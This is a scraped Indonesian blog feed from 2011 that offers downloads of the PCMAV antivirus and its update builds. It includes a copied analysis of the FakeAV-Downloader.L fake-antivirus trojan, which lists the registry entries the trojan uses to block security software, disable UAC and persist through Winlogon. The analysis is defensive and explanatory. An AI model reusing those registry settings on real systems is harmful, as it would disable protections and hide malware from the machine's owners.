153); height: 350px; overflow: auto; text-align: center; width: 450px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLurbiZ-AepZ22cVKkekmZrrF5KdqQFM20F_vVwisvEakWJwAJ4jsDsdHp5au2o36jT70YeYoEiRptK_iJsRkiBQVEOdpTaSNSGOrcnITDRkLGuzMTPN7VWjHgfWz1_jtG_as4m_hxg3yt/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLurbiZ-AepZ22cVKkekmZrrF5KdqQFM20F_vVwisvEakWJwAJ4jsDsdHp5au2o36jT70YeYoEiRptK_iJsRkiBQVEOdpTaSNSGOrcnITDRkLGuzMTPN7VWjHgfWz1_jtG_as4m_hxg3yt/s1600/1.JPG" /></a></div><br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeCYsirzOQ4JA_nugKjrzX5WmPVcgKdBlvLydIa7ulSB5fif_q2LYdeIqeXng4qmCx0Ub2UTvzVwnzoejhU_C_KVisTDSzvYIQdyQyd5MBEDOVyHTWi5WvFhS23tiBdNFgyci4Ns_-Slwh/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeCYsirzOQ4JA_nugKjrzX5WmPVcgKdBlvLydIa7ulSB5fif_q2LYdeIqeXng4qmCx0Ub2UTvzVwnzoejhU_C_KVisTDSzvYIQdyQyd5MBEDOVyHTWi5WvFhS23tiBdNFgyci4Ns_-Slwh/s1600/2.JPG" /></a></div></div><br /> <br /> <br /> <div style="text-align: center;"><span style="font-size: 180%; font-weight: bold;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt;</span> <br /> <div style="text-align: left;"><br /> </div></div><span style="color: #ff6666; font-weight: bold;">Note (Penting) :</span> <br /> <ol><li><span style="color: #ff6666; font-weight: bold;">Setelah&nbsp; Download PCMAV 5.2 Valhalla extraks terlebih dahulu kemudian copy/cut seluruh </span><b>Isi Yang Terdapat Dalam Folder</b><span style="color: lime; font-size: small;"> </span><span style="color: #ff6666; font-weight: bold;">ekstrakan tersebut kedalam folder PCMAV sebelumnya (PCMAV 5.1 Valhalla), jika belum memiliki </span><span style="color: #ff6666; font-weight: bold;">PCMAV 5.1 Valhalla silahkan Download disini </span><a href="http://ekodomba.blogspot.com/2011/05/pcmav-51-valhalla.html"><b>PCMAV 5.1</b></a></li> <li><span style="color: #ff6666; font-weight: bold;">no.2 (</span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build1)</span><span style="color: #ff6666; font-weight: bold;"><span style="color: #cc0000;"> </span>di Extract dahulu setelah itu dimasukan dalam folder PCMAV 5.0 Valhalla/vdb</span></li> </ol><br /> <br /> <div style="color: red;"><span style="font-size: large;"><b><i>Download Here</i></b></span></div><br /> <b style="color: #cc0000; font-weight: bold;">1. Hanya PCMAV </b><span style="color: #cc0000; font-weight: bold;"><b>5</b>.2 Valhalla </span><span style="font-weight: bold;"><span style="color: #cc0000;">:</span></span> <br /> <div class="main"><span style="font-weight: bold;"> Link 1 = <a href="http://www.blogger.com/goog_1366011901"> </a></span><a href="http://www.ziddu.com/download/15343013/PCMAV5.2Valhallaekodomba.blogspot.rar.html"><span style="font-weight: bold;">PCMAV 5.2</span></a><br /> <span style="font-weight: bold;">Link 2 = </span><a href="http://www.4shared.com/file/2dCCRBtX/PCMAV_52_Valhalla__ekodombablo.html"><b>PCMAV 5.2</b></a> <br /> <br /> <span style="color: #cc0000; font-weight: bold;">2. </span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build1 :</span> <br /> <span style="font-weight: bold;"> Link 1 = </span><a href="http://www.ziddu.com/download/15608166/vdbBuild1.rar.html"><span style="font-size: 100%;"><b>Update Build 1</b></span></a><span style="font-weight: bold;"><br /> Link 2 =</span><span style="color: #33cc00; font-weight: bold;"><span style="color: black; font-weight: bold;"> </span></span><a href="http://www.4shared.com/file/AZhe1uad/vdb__Build_1__2.html"><span style="font-size: 100%;"><b>Update Build 1</b></span></a></div></div>0PCMAV 5.2 Valhallahttp://ekodomba.blogspot.com/2011/06/pcmav-52-valhalla.htmlAnti VirusArtikel dll.PCMAVnoreply@blogger.com (Unknown)Mon, 13 Jun 2011 15:23:00 +0700tag:blogger.com,1999:blog-887853086853221447.post-7455338712098274729<div class="MsoNormal" style="line-height: normal; text-align: center;"><a href="http://ekodomba.blogspot.com/2011/06/pcmav-52-valhalla.html"><span style="font-size: large;"><b><span style="font-weight: bold;">PCMAV 5.2 Valhalla</span></b></span></a></div><br /> <br /> <div style="text-align: justify;">Download PCMAV 5.2 telah disediakan bersamaan dengan peluncuran Majalah PC Media 06/2011 &amp; PCMAV 5.2 yang sudah lama dinanti pembaca setia PC Media tentunya. Kali ini PCMAV 5.2 telah dilengkapi dengan penambahan database pengenal dan pembersih 104 virus lokal/asing/varian baru yang banyak menyebar di Indonesia. Total database pada PCMAV 5.2 sebanyak <b style="font-weight: normal;">4.231</b> virus beserta variannya.</div><div style="text-align: justify;"><br /> </div><div style="text-align: justify;">Seperti biasa, kami mengingatkan kepada Anda untuk membaca terlebih dahulu README.txt yang disertakan bersama PCMAV 5.2 sebelum menggunakannya.</div><a name='more'></a><br /> <div style="color: red;"><b>Bagaimana cara mendapatkan dan menggunakan PCMAV 5.2 Valhalla ?</b></div><br /> Salin paket PCMAV 5.2 dari DVD PC Media ke dalam harddisk sehingga Anda mendapatkan PCMAV 5.2 yang siap digunakan.<br /> <br /> Bagi Anda yang berada di wilayah tak terjangkau distribusi majalah PC Media atau karena suatu hal tidak dapat menggunakan paket PCMAV yang disertakan dalam DVD PC Media namun anda sangat membutuhkannya, silahkan <b>download PCMAV 5.2</b> dari link dibawah artikel ini.<br /> <div style="text-align: justify;"><br /> </div><b>Apa yang baru?</b><br /> <ol><li> UPDATED! Ditambahkan database pengenal dan pembersih 104 virus lokal/asing/varian baru yang dilaporkan menyebar di Indonesia. Total 4231 virus beserta variannya.</li> <li>ADDED! Removal engine khusus untuk membersihkan secara tuntas virus Seppeto dan FakeAV-Downloader.K yang menyebar luas di Indonesia.</li> <li>IMPROVED! Perubahan nama virus mengikuti varian baru yang ditemukan.</li> <li>IMPROVED! Perbaikan beberapa minor bug dan improvisasi kode internal untuk memastikan bahwa PCMAV tetap menjadi antivirus kebanggaan Indonesia.</li> </ol><br /> (Keterangan Lengkap Lihat Gambar Di Bawah) .........<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: center; width: 450px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBX5bcOEVMyciNMQegJQ2Ypbx5LVPgBKlEga8mwrA4BWEqpdNX4fZgMUPv2nq08usEwcI8fbZs4mpMhx8yc_OoLgHahFiAt9jaz6HAnSs-lKMKtEhpJuajTG_0biiHH23OygzOSoSAVo-9/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBX5bcOEVMyciNMQegJQ2Ypbx5LVPgBKlEga8mwrA4BWEqpdNX4fZgMUPv2nq08usEwcI8fbZs4mpMhx8yc_OoLgHahFiAt9jaz6HAnSs-lKMKtEhpJuajTG_0biiHH23OygzOSoSAVo-9/s1600/1.JPG" /></a></div><br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9V843n4WoikAvEQrhcv0fPMdxxrJ_AyPeBBuz5mOJAstDQw6QVHRt26zYgZXxXkoYbShUoL9DUucW0APZRV5w8g7VM8jBnrmECMqqEQFstiLx90pBvVtFVpUJhHONiV88ozHsw8jr-1dw/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9V843n4WoikAvEQrhcv0fPMdxxrJ_AyPeBBuz5mOJAstDQw6QVHRt26zYgZXxXkoYbShUoL9DUucW0APZRV5w8g7VM8jBnrmECMqqEQFstiLx90pBvVtFVpUJhHONiV88ozHsw8jr-1dw/s1600/2.JPG" /></a></div></div><br /> <br /> <div style="text-align: center;"><span style="font-size: 180%; font-weight: bold;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt;</span> <br /> <div style="text-align: left;"><br /> </div></div><span style="color: #ff6666; font-weight: bold;">Note (Penting) :</span> <br /> <ol><li><span style="color: #ff6666; font-weight: bold;">Setelah&nbsp; Download PCMAV 5.2 Valhalla extraks terlebih dahulu kemudian copy/cut seluruh </span><b>Isi Yang Terdapat Dalam Folder</b><span style="color: lime; font-size: small;"> </span><span style="color: #ff6666; font-weight: bold;">ekstrakan tersebut kedalam folder PCMAV sebelumnya (PCMAV 5.1 Valhalla), jika belum memiliki </span><span style="color: #ff6666; font-weight: bold;">PCMAV 5.1 Valhalla silahkan Download disini </span><a href="http://ekodomba.blogspot.com/2011/05/pcmav-51-valhalla.html"><b>PCMAV 5.1</b></a></li> <li><span style="color: #ff6666; font-weight: bold;">no.2 (</span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build1)</span><span style="color: #ff6666; font-weight: bold;"><span style="color: #cc0000;"> </span>di Extract dahulu setelah itu dimasukan dalam folder PCMAV 5.0 Valhalla/vdb</span></li> </ol><br /> <br /> <div style="color: red;"><span style="font-size: large;"><b><i>Download Here</i></b></span></div><br /> <b style="color: #cc0000; font-weight: bold;">1. Hanya PCMAV </b><span style="color: #cc0000; font-weight: bold;"><b>5</b>.2 Valhalla </span><span style="font-weight: bold;"><span style="color: #cc0000;">:</span></span> <br /> <div class="main"><span style="font-weight: bold;"> Link 1 = <a href="http://www.blogger.com/goog_1366011901"> </a></span><a href="http://www.ziddu.com/download/15343013/PCMAV5.2Valhallaekodomba.blogspot.rar.html"><span style="font-weight: bold;">PCMAV 5.2</span></a><br /> <span style="font-weight: bold;">Link 2 = </span><a href="http://www.4shared.com/file/2dCCRBtX/PCMAV_52_Valhalla__ekodombablo.html"><b>PCMAV 5.2</b></a> <br /> <br /> <span style="color: #cc0000; font-weight: bold;">2. </span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build1 :</span> <br /> <span style="font-weight: bold;"> Link 1 = </span><span style="font-size: 100%;"><b>Update Build 1 (Menunggu)</b></span><span style="font-weight: bold;"><br /> Link 2 =</span><span style="color: #33cc00; font-weight: bold;"><span style="color: black; font-weight: bold;"> </span></span><span style="font-size: 100%;"><b>Update Build 1 </b></span><span style="font-size: 100%;"><b>(Menunggu)</b></span></div>0Build 3http://ekodomba.blogspot.com/2011/06/build-3.htmlAnti VirusArtikel dll.PCMAVnoreply@blogger.com (Unknown)Tue, 7 Jun 2011 15:01:00 +0700tag:blogger.com,1999:blog-887853086853221447.post-3842733317079351187<div class="MsoNormal" style="line-height: normal; text-align: center;"><a href="http://ekodomba.blogspot.com/2011/06/build-3.html"><span style="font-size: large;"><b><span style="font-weight: bold;">PCMAV 5.1 Valhalla + Build3</span></b></span></a><br /> <a href="http://virusindonesia.com/2011/05/31/fakeav-downloader-l-online-scanner-palsu/"><span style="font-size: large;"><b>FakeAV-Downloader.L: Online Scanner Palsu</b></span></a><br /> <br /> <div style="text-align: left;"><span class="comments"><br /> </span> </div><div style="text-align: left;"><span class="comments"> </span> </div></div><div style="border: 1px solid rgb(153, 153, 153); height: 250px; overflow: auto; text-align: center; width: 450px;"><img alt="Online Scanner" src="http://virusindonesia.com/wp-content/uploads/2011/05/onlinescanner/0.%20Header.PNG" title="Online Scanner" /></div><br /> <b>FakeAV-Downloader.L.</b> Berawal dari e-mail yang di kirimkan menggunakan alamat e-mail salah satu kenalan dan anehnya hanyalah berisi sebuah URL. E-mail tanpa subjek tersebut dikirimkan juga (CC) ke beberapa alamat email lainnya dan diduga kuat e-mail pengirim sudah di bajak atau di salahgunakan oleh malware/pihak tertentu. Setelah URL itu di buka, justru mengarah kepada website lain (direct link) yang menampikan sebuah pesan bahwa komputer yang sedang digunakan telah terinfeksi virus.<br /> <br /> <a name='more'></a><br /> <b>A. Info Malware</b><br /> Nama: FakeAV-Downloader.L<br /> Asal: Chicago, Illinois (dugaan)<br /> Ukuran File: 1.69 MB (1,781,760 bytes)<br /> Packer: Asprotect ver 2<br /> Pemrograman: Delphi<br /> Icon: Installer (Unknown)<br /> Tipe: Trojan Downloader<br /> <br /> <b>B. Tentang Malware</b><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 250px; overflow: auto; text-align: center; width: 450px;"><img alt="Online Scanner" src="http://virusindonesia.com/wp-content/uploads/2011/05/onlinescanner/1.%20Email.PNG" title="Online Scanner" /></div><br /> Seperti yang sudah dijelaskan sebelumnya bahwa email tersebut hanya berisikan sebuah URL yang jika dibuka maka akan mengarahkan ke website lain. Website tersebut langsung memberikan pesan seperti gambar di bawah ini:<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: center; width: 450px;"><img alt="Online Scanner" src="http://virusindonesia.com/wp-content/uploads/2011/05/onlinescanner/2.-Info.PNG" title="Online Scanner" /></div><br /> Pesan tersebut berisi peringatan adanya virus di komputer yang sedang digunakan, dan sangat dianjurkan untuk melakukan scanning. User yang merasa bahwa ada yang tidak beres dengan komputernya atau penasaran karena pesan tersebut, kebanyakan akan menekan tombol OK pada halaman tersebut dan yang di dapat adalah:<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: center; width: 450px;"><img alt="Online Scanner" src="http://virusindonesia.com/wp-content/uploads/2011/05/onlinescanner/3.-Report.PNG" title="Online Scanner" /></div><br /> Web tersebut memberikan gambaran seolah-olah sedang melakukan scanning secara online. Jika diperhatikan lebih detail, ada sedikit keganjilan terhada jumlah drive/local disk yang ditampilkan. Karena hanya menampilkan 2 buah local disk, sedangkan komputer yang kami jadikan pengujian terdiri dari 3 local disk. Yang menarik adalah kemampuan untuk memanipulasi tampilan untuk beberapa versi Windows karena setelah dilakukan pengujian terhdap Windows 7 dan Windows XP, tampilannya akan diubah sesuai dengan versi Windows yang digunakan. Pesan palsu lainnya juga ditampilkan dan dimaksudkan untuk lebih meyakinkan user bahwa terdapat banyak virus di komputernya.<br /> <br /> <img alt="Online Scanner" src="http://virusindonesia.com/wp-content/uploads/2011/05/onlinescanner/4.%20Message.PNG" title="Online Scanner" /><br /> <br /> Setelah itu, user akan mendownload sebuah file.<br /> <br /> <img alt="Online Scanner" src="http://virusindonesia.com/wp-content/uploads/2011/05/onlinescanner/5.%20Download.PNG" title="Online Scanner" /><br /> <br /> Setelah file tersebut selesai di download yangkemudian dijalankann, malware tersebut menyamar sebagai <b><i>Microsoft Security Essentials</i></b>. Selain itu berikut ini adalah berapa screenshot dari beberapa aktivitas “awal” dari Online Scan.<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: center; width: 450px;"><b><img alt="Online Scanner" src="http://virusindonesia.com/wp-content/uploads/2011/05/onlinescanner/6.%20Step1.png" title="Online Scanner" /></b><br /> <br /> <b><img alt="Online Scanner" src="http://virusindonesia.com/wp-content/uploads/2011/05/onlinescanner/7.%20Step2.png" title="Online Scanner" /></b><br /> <br /> <img alt="Online Scanner" src="http://virusindonesia.com/wp-content/uploads/2011/05/onlinescanner/8.%20Step3.png" title="Online Scanner" /><br /> <br /> <img alt="Online Scanner" src="http://virusindonesia.com/wp-content/uploads/2011/05/onlinescanner/9.-Step4.png" title="Online Scanner" /><br /> <br /> <img alt="Online Scanner" src="http://virusindonesia.com/wp-content/uploads/2011/05/onlinescanner/10.-Step5.png" title="Online Scanner" /></div><br /> <br /> <b>&nbsp;C. Companion/File yang dibuat</b><br /> Setelah user menjalankan Online Scan, malware ini akan menghapus file aslinya dan langsung membuat host di:<br /> <br /> <i>C:\Documents and Settings\[nama user]\Application Data\Microsoft\[nama acak].exe</i><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: center; width: 450px;"><img alt="Online Scanner" src="http://virusindonesia.com/wp-content/uploads/2011/05/onlinescanner/11.%20Host.PNG" title="Online Scanner" /></div><br /> <b>D. Hasil Infeksi</b><br /> Inilah tampilah dari Online Scanner yang ternyata adalah antivirus palsu.<br /> <br /> <img alt="Online Scanner" src="http://virusindonesia.com/wp-content/uploads/2011/05/onlinescanner/12.-FakeAV.png" title="Online Scanner" /><br /> <br /> Sama seperti antivirus palsu yang lainnya, selalu meminta user memasukan serial number yang bisa didapatkan setelah melakukan pembayaran secara online. Harganyapun beragam, berikut adalah daftar harga yang ditawarkan untuk antivirus palsu ini:<br /> <br /> <img alt="Online Scanner" src="http://virusindonesia.com/wp-content/uploads/2011/05/onlinescanner/13.-Registration.png" title="Online Scanner" /><br /> <br /> Tanpa disadari, worm ini selalu melakukan koneksi ke beberapa IP, seperti yang terlihat pada gambar berikut.<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: center; width: 450px;"><img alt="Online Scanner" src="http://virusindonesia.com/wp-content/uploads/2011/05/onlinescanner/14.%20Connection.png" title="Online Scanner" /></div><br /> Jika ditelusuri, IP tersebut mengarah ke beberapa kota seperti, Chicago (Illinois), Mountain View (California) dan Como (Lombardia).<br /> <br /> Selain itu, beberapa system tools windows juga di anggap malware, contohnya seperti regedit.exe yang di dianggap sebagai Trojan-DDoS,Win32.<br /> <br /> <img alt="Online Scanner" src="http://virusindonesia.com/wp-content/uploads/2011/05/onlinescanner/15.-FakeAlert.png" title="Online Scanner" /><br /> <br /> Pertahanan lainnya adalah mendisable setiap aplikasi yang mengancam keberadaan antivirus palsu ini. Berikut ini adalah value key yang dibuat oleh Online Scanner pada regsitry editor.<br /> <br /> [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe]<br /> [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe]<br /> [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe]<br /> [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe]<br /> [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe]<br /> [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe]<br /> [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe]<br /> [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe]<br /> “Debugger”=”svchost.exe”<br /> <br /> [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]<br /> “EnableLUA”=dword:00000000<br /> “ConsentPromptBehaviorAdmin”=dword:00000000<br /> “ConsentPromptBehaviorUser”=dword:00000000<br /> <br /> [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]<br /> “Shell”=”C:\\Documents and Settings\\Administrator\\Application Data\\Microsoft\\jakcbf.exe”<br /> <br /> <b>E. Pembersihan</b><br /> Jika komputer Anda telah terkena malware ini, ubah nama file PCMAV.exe menjadi sebuah nama acak dan jalankan seperti biasa. Malware ini telah dikenali dan dapat dibersihkan pada PCMAV 5.1 Update Build3 ini berikut ini.<br /> <br /> <b>PCMAV 5.1 Update Build3</b><br /> <br /> Untuk membasmi virus ini ataupun varian virus lainnya, PCMAV 5.1 Update Build3 telah hadir dengan penambahan <b>101 </b> pengenal varian virus baru. Bagi Anda pengguna PCMAV 5.1, sangat disarankan segera melakukan <i>update</i>, agar PCMAV Anda dapat mengenali dan membasmi virus lebih banyak lagi.<br /> <br /> Untuk mendapatkan dan menggunakan update PCMAV ini, Anda cukup menjalankan PCMAV.exe, komputer harus dalam keadaan aktif terhubung ke Internet. Jika koneksi Internet menggunakan <i>proxy</i>, tentukan konfigurasi proxy pada file proxy.txt . Fitur Automatic Updates dari PCMAV akan secara otomatis men-download dan meng-update database dari PCMAV. Anda juga dapat mengupdate kapan saja dengan klik kanan icon PCMAV pada system tray dan pilih <i>Update</i>.<br /> <br /> Bagi Anda yang ingin mendapatkan file update tersebut secara manual, Anda bisa men-download file-nya melalui beberapa link dibawah ini:<br /> <br /> Letakkan file hasil download tersebut (update.vdb) ke dalam folder \vdb. Jika sebelumnya telah terdapat file update yang lama, Anda cukup <b>menimpanya</b>. Pastikan sekali lagi, bahwa nama file update adalah update.vdb, ika berbeda, cukup ubah namanya. Dan nanti saat Anda kembali menjalankan PCMAV, ia sudah dalam keadaan kondisi ter-update.<br /> <br /> <b>Daftar tambahan virus hingga PCMAV 5.1 Update Build3:</b><br /> Adeied<br /> Adeied.dll<br /> Autoit.FJ<br /> Autoit.FJ.inf<br /> Autoit.FK<br /> Autoit.FK.inf<br /> AutoPah<br /> BadShortcut<br /> DeathDrive.G<br /> Dhoos.C<br /> Dhoos.C.dll<br /> Dhoos.C.sys<br /> Dini.vbs.A<br /> Dini.vbs.B<br /> Dini.vbs.inf<br /> Dret<br /> EGold<br /> EGold.dll<br /> EGold.drp<br /> EGold.txt<br /> Erci<br /> Erci<br /> Fadss<br /> Fadss.bat<br /> Fadss.bing<br /> Fadss.inf.A<br /> Fadss.inf.B<br /> Fadss.inf.C<br /> Fadss.inf.D<br /> Fadss.inf.E<br /> Fadss.junk<br /> Fadss.pass<br /> Fadss.php<br /> Fadss.vbs<br /> FakeAV-Downloader.K<br /> FakeAV-Downloader.K.dat<br /> FakeAV-Downloader.K.tmp<br /> FakeAV-Downloader.L<br /> FakeAV-Downloader.M<br /> FakeAV-Downloader.M.exe<br /> FakeAV-Downloader.M.ico.A<br /> FakeAV-Downloader.M.ico.B<br /> FakeAV-Downloader.M.ico.C<br /> FakeAV-Downloader.M.lnk.A<br /> FakeAV-Downloader.M.lnk.B<br /> FakeAV-Downloader.M.lnk.C<br /> FakeAV-Downloader.M.lnk.D<br /> FakeAV-Downloader.M.lnk.E<br /> FontPorn<br /> FontPorn.dll.A<br /> FontPorn.dll.B<br /> FontPorn.ini.A.ini<br /> FontPorn.ini.B<br /> FontPorn.lnk<br /> GamesQip<br /> GamesQip.html<br /> Hyart<br /> KitNet.dll<br /> KitNet.drp<br /> KitNet.exe.A<br /> KitNet.exe.B<br /> Kulion<br /> Kulion.dll<br /> Mangerr<br /> Mangerr.dll<br /> Modio<br /> Modio.drp<br /> NuevaCarpeta<br /> Ramnit.G.Variant<br /> Ramnit.H.Variant<br /> Ramnit.I.Variant<br /> Ramnit.J.Variant<br /> Rask.A<br /> Rask.A.drp<br /> Rask.B<br /> Rask.B.drp<br /> Recycler.BP<br /> Recycler.BP.inf<br /> Seppeto<br /> Serviks.D<br /> Serviks.E<br /> Serviks.E.exe.A<br /> Serviks.E.exe.B<br /> Serviks.E.inf<br /> Serviks.E.ini<br /> Serviks.F<br /> Serviks.F.exe.A<br /> Serviks.F.vbs<br /> Serviks.G<br /> Serviks.G.bmp.A<br /> Serviks.G.bmp.B<br /> Serviks.G.bmp.C<br /> Serviks.G.inf<br /> Serviks.G.txt<br /> Serviks.H<br /> Serviks.H.rar<br /> Serviks.I<br /> Svx<br /> TeraBit<br /> TeraBit.txt<br /> X-Rown<br /> <br /> <br /> PCMAV 5.0 Update Build2 telah tersedia dengan penambahan 68 database virus baru yang telah berhasil ditambahkan pada update build kali ini. Berarti ada penambahan 20 database virus dari build1 yang hanya 48 database. Update PCMAV dapat dilakukan secara otomatis dengan memilih “Update” pada menu klik kanan icon PCMAV di system tray, ini salah satu fitur yang telah berhasil ditambahkan pada rilis PCMAV 5.0 Jika Anda ingin mendownload update build secara manual dapat melalui link dibawah ini.<br /> <br /> (Keterangan Lengkap Lihat Gambar Di Bawah) .........<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: center; width: 450px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-Z_FPuOx4kjdSvNyyyhvkK43hMU9wvLM-tNx075TimlhrRNplCIRNa0EsIB_arF_H6Kp22km_Pnie3gUytF8Hpk61PSZikqWQQeUB3QYu_VmeveefSZaDYCTVtVOTfSSiLKdF2Sln6Xbk/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-Z_FPuOx4kjdSvNyyyhvkK43hMU9wvLM-tNx075TimlhrRNplCIRNa0EsIB_arF_H6Kp22km_Pnie3gUytF8Hpk61PSZikqWQQeUB3QYu_VmeveefSZaDYCTVtVOTfSSiLKdF2Sln6Xbk/s1600/1.JPG" /></a></div><br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk2Q-dIezXRPsSvK7Fw3vqG85iRSIEe32RHQyg7sGzB1r6_KzvEvgLU7j-e0i68srEljqieENu76vx_5F5LlGAb55kLQVoX7C8GBsUl34h9lvuNtkiW5HXfLVfeJCwRIy_rVEvUI763IQu/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk2Q-dIezXRPsSvK7Fw3vqG85iRSIEe32RHQyg7sGzB1r6_KzvEvgLU7j-e0i68srEljqieENu76vx_5F5LlGAb55kLQVoX7C8GBsUl34h9lvuNtkiW5HXfLVfeJCwRIy_rVEvUI763IQu/s1600/2.JPG" /></a></div></div><br /> <br /> <br /> <div style="text-align: center;"><span style="font-size: 180%; font-weight: bold;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt;</span> <br /> <div style="text-align: left;"><br /> </div></div><span style="color: #ff6666; font-weight: bold;">Note (Penting) :</span> <br /> <ol><li><span style="color: #ff6666; font-weight: bold;">Setelah&nbsp; Download PCMAV 5.0 Valhalla extraks terlebih dahulu kemudian copy/cut seluruh </span><b>Isi Yang Terdapat Dalam Folder</b><span style="color: lime; font-size: small;"> </span><span style="color: #ff6666; font-weight: bold;">ekstrakan tersebut kedalam folder PCMAV sebelumnya (PCMAV 4.7 Ragnarok 3), jika belum memiliki </span><span style="color: #ff6666; font-weight: bold;">PCMAV 5.0 Valhalla silahkan Download disini </span><a href="http://ekodomba.blogspot.com/2011/03/pcmav-50-valhalla.html"><b>PCMAV 5.0</b></a></li> <li><span style="color: #ff6666; font-weight: bold;">no.2 (</span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build2)</span><span style="color: #ff6666; font-weight: bold;"><span style="color: #cc0000;"> </span>di Extract dahulu setelah itu dimasukan dalam folder PCMAV 5.1 Valhalla/vdb</span></li> </ol><br /> <br /> <div style="color: red;"><span style="font-size: large;"><b><i>Download Here</i></b></span></div><br /> <b style="color: #cc0000; font-weight: bold;">1. Hanya PCMAV </b><span style="color: #cc0000; font-weight: bold;"><b>5</b>.1 Valhalla </span><span style="font-weight: bold;"><span style="color: #cc0000;">:</span></span> <br /> <div class="main"><span style="font-weight: bold;"> Link 1 = </span><a href="http://www.ziddu.com/download/15016723/PCMAV5.1Valhallaekodomba.blogspot.rar.html"><span style="font-weight: bold;">PCMAV 5.1</span></a><br /> <span style="font-weight: bold;">Link 2 = </span><a href="http://www.4shared.com/file/Vch-6KYf/PCMAV_51_Valhalla__ekodombablo.html"><b>PCMAV 5.1</b></a> <br /> <br /> <span style="color: #cc0000; font-weight: bold;">2. </span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build1 :</span> <br /> <span style="font-weight: bold;"> Link 1 = </span><a href="http://www.ziddu.com/download/15273237/vdbBuild3.rar.html"><span style="font-size: 100%;"><b>Update Build 3</b></span></a><span style="font-weight: bold;"><br /> Link 2 =</span><span style="color: #33cc00; font-weight: bold;"><span style="color: black; font-weight: bold;"> </span></span><a href="http://www.4shared.com/file/RopHDvao/vdb__Build3__8.html"><span style="font-size: 100%;"><b>Update Build 3</b></span></a></div>0